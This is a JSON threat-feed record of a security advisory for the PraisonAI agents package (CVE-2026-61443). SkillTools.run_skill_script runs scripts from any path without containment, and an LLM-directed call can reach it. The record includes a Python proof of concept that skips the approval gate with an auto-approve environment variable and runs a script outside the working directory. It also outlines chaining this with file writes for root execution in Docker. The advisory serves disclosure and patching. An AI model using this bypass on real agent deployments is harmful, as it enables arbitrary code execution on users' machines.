{"success":true,"data":{"threats":[{"id":"597b769d-68bb-4237-98b3-3d7eae7cb5f0","slug":"cve-2026-61443","externalId":"GHSA-c44f-37qr-gw3f","source":"OSV","sourceType":"ghsa","type":"vulnerability","title":"PraisonAI: SkillTools Executes Scripts Without Path Containment Validation","description":"### Summary\n`SkillTools.run_skill_script()` accepts a `script_path` parameter and executes it via `subprocess.run()` without any path containment validation. While `FileTools` has `_validate_path()` with traversal detection, `SkillTools` performs none. An LLM-directed call can execute arbitrary scripts from any filesystem location. The `@require_approval` decorator can be bypassed via YAML `approve:` for high-risk tools.\n\n### Details\n`src/praisonai-agents/praisonaiagents/tools/skill_tools.py` (lines 69-119):\n\n```python\ndef run_skill_script(self, script_path: str, ...):\n    script_path = os.path.expanduser(script_path)\n    if not os.path.isabs(script_path):\n        script_path = os.path.join(self._working_directory, script_path)\n    script_path = os.path.abspath(script_path)\n\n    if not os.path.exists(script_path):\n        return f\"Error: Script not found at {script_path}\"\n\n    # No path traversal check, no containment validation\n    # Directly executes whatever is at that path:\n    result = subprocess.run(cmd, ...)\n```\n\nBy contrast, `FileTools._validate_path()` (`src/praisonai-agents/praisonaiagents/tools/file_tools.py`, lines 42-78) properly validates that the resolved path stays within the working directory:\n\n```python\ndef _validate_path(self, filepath: str) -> str:\n    # ...\n    cwd = os.path.abspath(os.getcwd())\n    if os.path.commonpath([absolute, cwd]) != cwd:\n        raise ValueError(f\"Path traversal detected: {filepath} escapes workspace {cwd}\")\n```\n\n`SkillTools` has no equivalent check.\n\n### PoC\n\n```python\nimport os, tempfile\nfrom praisonaiagents.tools.skill_tools import SkillTools\n\n# Create a \"safe\" working directory (the jail)\njail = tempfile.mkdtemp(prefix=\"skill_jail_\")\n\n# Create a malicious script OUTSIDE the jail\nattack_script = os.path.join(tempfile.gettempdir(), \"malicious_skill.sh\")\nwith open(attack_script, 'w') as f:\n    f.write(\"#!/bin/bash\\n\")\n    f.write(\"echo \\\"PROOF_OF_EXPLOIT: Script executed outside jail\\\"\\n\")\n    f.write(\"echo \\\"USER: $(whoami)\\\"\\n\")\n    f.write(\"echo \\\"HOSTNAME: $(hostname)\\\"\\n\")\nos.chmod(attack_script, 0o755)\n\n# Bypass approval (simulates Docker env or YAML approve:)\nos.environ[\"PRAISONAI_AUTO_APPROVE\"] = \"true\"\n\nst = SkillTools()\nst._working_directory = jail  # Pretend we're confined\n\n# Run script from OUTSIDE the jail — no path validation!\nresult = st.run_skill_script(attack_script)\nprint(result)\n# Output:\n#   PROOF_OF_EXPLOIT: Script executed outside jail\n#   USER: anushkavirgaonkar\n#   HOSTNAME: Anushkas-MacBook-Pro-2.local\n\n# Cleanup\ndel os.environ[\"PRAISONAI_AUTO_APPROVE\"]\nos.unlink(attack_script)\nos.rmdir(jail)\n```\n\n**Tested result:** The script at `/tmp/malicious_skill.sh` executed successfully despite the working directory being set to a jail directory. The output confirms arbitrary script execution including `whoami` and `hostname`. No path containment check exists — the absolute path is accepted and executed directly.\n\n\n### Impact\n- **Arbitrary script execution**: Run any script on the filesystem from any location\n- **Chaining with file write**: Write a malicious script via `write_file` (YAML-approvable as a high-risk tool), then execute it via `run_skill_script`\n- **Root-level impact in Docker**: All PraisonAI Docker containers run as root (no `USER` directive), so an escaped script runs with full root privileges","cveId":"CVE-2026-61443","cvssScore":null,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","severity":"high","vendor":"PyPI","product":"praisonaiagents","affectedVersions":["pkg:pypi/praisonaiagents < 1.6.78"],"cwes":["CWE-22","CWE-78"],"tags":["osv","osv:ghsa-c44f-37qr-gw3f","ecosystem:pypi"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://osv.dev/vulnerability/GHSA-c44f-37qr-gw3f","type":"advisory","title":"OSV GHSA-c44f-37qr-gw3f"},{"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-c44f-37qr-gw3f","type":"other","title":"OSV web"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61443","type":"advisory","title":"OSV advisory"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62168","type":"advisory","title":"OSV advisory"},{"url":"https://github.com/MervinPraison/PraisonAI","type":"vendor","title":"OSV package"},{"url":"https://www.vulncheck.com/advisories/praisonai-before-remote-code-execution-via-skilltools","type":"other","title":"OSV web"}],"epssScore":0.00769,"epssPercentile":0.54219,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T16:49:23.000Z","addedAt":"2026-10-08T18:42:42.638Z","updatedAt":"2026-10-08T18:42:42.638Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61443","note":"may still be awaiting NVD analysis"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-61443","note":"authoritative record"},{"label":"GitHub Advisory","url":"https://github.com/advisories/GHSA-c44f-37qr-gw3f"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-c44f-37qr-gw3f"}]}],"pagination":{"page":1,"limit":20,"total":1,"totalPages":1,"hasNext":false,"hasPrev":false}},"meta":{"apiVersion":"v1","requestedAt":"2026-10-08T23:50:29.829Z","durationMs":17,"filters":{"search":null,"severity":[],"type":[],"country":[],"tag":["osv:ghsa-c44f-37qr-gw3f"],"cwe":[],"vendor":null,"product":null,"cve":null,"source":[],"days":null,"publishedAfter":null,"publishedBefore":null,"minCvss":null,"maxCvss":null,"minEpss":null,"knownExploited":null,"hasPatch":null,"hasNucleiTemplate":null},"sort":"newest","unknownParams":[],"warnings":[]}}